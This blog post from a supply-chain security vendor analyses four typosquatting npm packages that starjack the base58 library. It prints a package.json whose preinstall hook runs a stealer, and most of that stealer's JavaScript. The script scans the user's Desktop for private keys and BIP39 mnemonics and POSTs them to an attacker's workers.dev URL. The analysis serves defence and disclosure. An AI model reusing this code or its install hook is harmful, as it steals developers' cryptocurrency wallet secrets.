Blog

NPM packages leveraged for cryptocurrency theft

/
3 mins read
/
Aug 2, 2024
/ Subscribe

On August 1st, the Trusty threat detection platform alerted us to 4 suspicious npm packages published by the same author basedb58 over the past day. 

Our investigation revealed that upon installation, a malicious script bundled with these packages attempts to locate and exfiltrate cryptocurrency wallet secrets from the user’s Desktop.

Package provenance

As an indicator of supply chain risk, Trusty attempts to establish a proof of origin verification for published packages to their GitHub source repository. These packages all claimed https://github.com/jimeh/node-base58 as their repository URL, in an effort to starjack as the more popular npm package base58.

Trusty was unable to match the packages to this source repository. This is reflected in the provenance scoring given, taking the package ndoe-fethc as an example.

In comparison, for the legitimate package, Trusty was able to map all 5 package releases to historical Git tags, validating the repo claim and verifying proof of origin. 

As an aside, note the package has not been updated for 6 years. Amongst other signals, this has negatively impacted its overall Trusty score.

Preinstall hook

Returning to our example ndoe-fethc, the author has ensured execution of the script unhook upon installation by the addition of a preinstall hook, as can be seen in the package.json.

Other metadata - such as the author and contributor information - has been copied from the legitimate package, and as such are not relevant.

JavaScript
{
  "name": "ndoe-fethc",
  "version": "2.3.2",
  "keywords": [
	"base58, flickr"
  ],
  "description": "Flickr Flavored Base58 Encoding and Decoding",
  "license": "MIT",
  "author": {
	"name": "Jim Myhrberg",
	"email": "contact@jimeh.me"
  },
  "contributors": [
	"Louis Buchbinder github@louisbuchbinder.com"
  ],
  "repository": {
	"type": "git",
	"url": "https://github.com/jimeh/node-base58.git"
  },
  "main": "./src/base58",
  "engines": {
	"node": ">= 6"
  },
  "devDependencies": {
	"eslint": "^5.6.0",
	"eslint-config-prettier": "^3.0.0",
	"eslint-plugin-prettier": "^2.7.0",
	"mocha": "^5.2.0",
	"prettier": "^1.14.3"
  },
  "scripts": {
	"lint": "eslint .",
	"lint-fix": "eslint . --fix",
	"test": "mocha",
	"preinstall": "node ./src/unhook"
  }
}

Cryptocurrency stealing

The following script, which can be reviewed in full on Stacklok’s jail repository, has clear indicators of crypto-stealing capabilities:

  • Private key and mnemonic phrase enumeration

  • Exfiltrating stolen data to a remote server

  • Targeting specific file extensions

Let’s dissect the script in stages.

Setup and definitions

The wordlist array contains 2048 words. This is typically the size of a BIP39 word list, used for generating mnemonic phrases in cryptocurrency wallets. 

The script also defines some directories and files to be ignored, along with setting the allowed extensions to process.

JavaScript
const fs = require('fs/promises');
const os = require("os");
const path = require('path');
const fetch = require('node-fetch');
const b39 = require('bip39'); // For validating mnemonic phrases

// Predefined word list used for mnemonic validation
const wordlist = [
"abandon",
"ability",
"able",
"about",
"above",
"absent",
"absorb",
"abstract",
"absurd",
"abuse",
"access",
  // (list of words truncated for brevity)
];

const wait = (ms) => new Promise((resolve) => setTimeout(resolve, ms * 1000));

const IGNORED_DIRS = ['node_modules', 'target', 'build', 'webpack', '.vscode'];
const IGNORED_FILES = ['package-lock.json', 'package.json', 'webpack'];
let dupes = []; // To store unique sensitive information found
const ALLOWED_EXTENSIONS = new Set(['.js', '.cjs', '.txt', '.json', '.mjs', '.py', '.csv', '.ts', '.env']);
let proms = []; // To store mnemonics before sending

Scanning for cryptocurrency wallet information


The main body of the stealer functionality is contained here, in the function iter(). This recursively searches through directories and reads files of specified extensions to scan for sensitive crypto wallet information such as private keys and mnemonic phrases.

JavaScript
// Function to recursively iterate through directories and process files
async function iter(dir) {
  let entries;
  try {
	entries = await fs.readdir(dir, { withFileTypes: true }); // Read directory contents
  } catch {
	// Handle errors silently
  }

  for (const entry of entries) {
	const fullPath = path.join(dir, entry.name);

	if (entry.isDirectory()) {
  	// If entry is a directory and not ignored, recursively process it
  	if (!IGNORED_DIRS.includes(entry.name)) {
    	await iter(fullPath);
  	}
	} else if (entry.isFile()) {
  	// If entry is a file and not ignored, process it
  	if (IGNORED_FILES.includes(entry.name)) continue;

  	const ext = path.extname(entry.name);
  	if (ALLOWED_EXTENSIONS.has(ext)) {
    	try {
      	const content = await fs.readFile(fullPath, 'utf-8');
      	if (content.split('\n').length < 1000) {
        	for (const line of content.split('\n')) {
          	try {
            	// Check for lines indicating private key presence
            	if (line.includes("Keypair.fromSecretKey(Uint8Array.from([") ||
                	line.includes("Keypair.fromSecretKey(bs58.decode(") ||
                	line.toString().toLowerCase().includes("privatekey=")) {
              	if (line.length < 1000 && !dupes.includes(line)) {
                	dupes.push(line);
                	await gsa(line); // Exfil private keys to the remote server
              	}
            	}
          	} catch {}
         	 
          	// Check for mnemonic phrases
          	let start = false;
          	let arr = [];
          	const linerep = line.replace(/[^a-zA-Z]/g, ' ');
          	if (linerep.length < 1000) {
            	for (const each of linerep.split(' ')) {
              	if (each !== ' ' && each.length > 0 && each !== '\n') {
                	if (wordlist.includes(each)) {
                  	if (!start) {
                    	start = true;
                  	}
                  	if (start) {
                    	arr.push(each);
                  	}
                	} else {
                  	if (start) {
                    	start = false;
                    	break;
                  	}
                	}
              	}
            	}
            	if (arr.length > 10) {
              	const arrjoin = arr.join(' ');
              	if (b39.validateMnemonic(arrjoin)) {
                	if (!dupes.includes(arrjoin)) {
                  	dupes.push(arrjoin);
                  	proms.push(arrjoin);
                  	if (proms.length >= 2) {
                    	try {
                      	await gsa(proms); // Exfil mnemonics
                      	proms = [];
                    	} catch {proms = []}
                  	}
                	}
              	}
            	}
          	}
        	}
      	}
    	} catch {}
  	}
	}
  }
}

Data exfiltration

Extracted data is sent in JSON form to an attacker-controlled domain using fetch().

JavaScript
async function gsa(data) {
  await fetch("https://mainnet.beta-mainnet.workers.dev/", {
	method: 'POST',
	headers: {'Content-Type': 'application/json'},
	body: JSON.stringify(data)
  });
}

The attacker has abused Cloudflare’s workers.dev service to host their exfiltration site.

Finally, the ite() simply passes the user’s Desktop directory path to the iter() function, starting the recursive stealing from there.

JavaScript
// Function to start the process from the user's Desktop directory
async function ite() {
  const dp = path.join(os.homedir(), 'Desktop');
  await iter(dp);
}

ite();

Summary

We reported these packages to npm within a day of their publication. The GitHub Trust & Safety team responded swiftly, removing the packages and deleting the associated npm account.

In the brief time they were live, the packages had around 50 downloads each.

This latest incident continues to highlight the vulnerability of the open source ecosystem to abuse by malicious actors using it as a vector to distribute malware. 

Attackers can easily create disposable accounts to publish harmful packages that mimic legitimate ones, exploiting the trust developers place in popular repositories and packages. In this case, affected users could have had their cryptocurrency wallets compromised.

Verification of package provenance, such as Trusty's proof of origin checks, is crucial in reducing supply chain risk. But this is just one aspect of assessing safety and trustworthiness in a complex network of maintainers, contributors, repositories, versions, and transitive dependencies. 

Our Trusty package detection system ingests various metadata signals to provide an amalgamated score as a proxy for supply chain risk. 

Stacklok has contributed Minder to the OpenSSF out of a deep belief in the power of the open source community

Luke Hinds /
Oct 28, 2024
Continue Reading
This Month in Minder - September 2024

This Month in Minder: September 2024

Stacklok /
Sep 26, 2024
Continue Reading
Flexible policy enforcement with Minder profile selectors

Flexible policy enforcement with Minder profile selectors

Dan Barr /
Sep 19, 2024
Continue Reading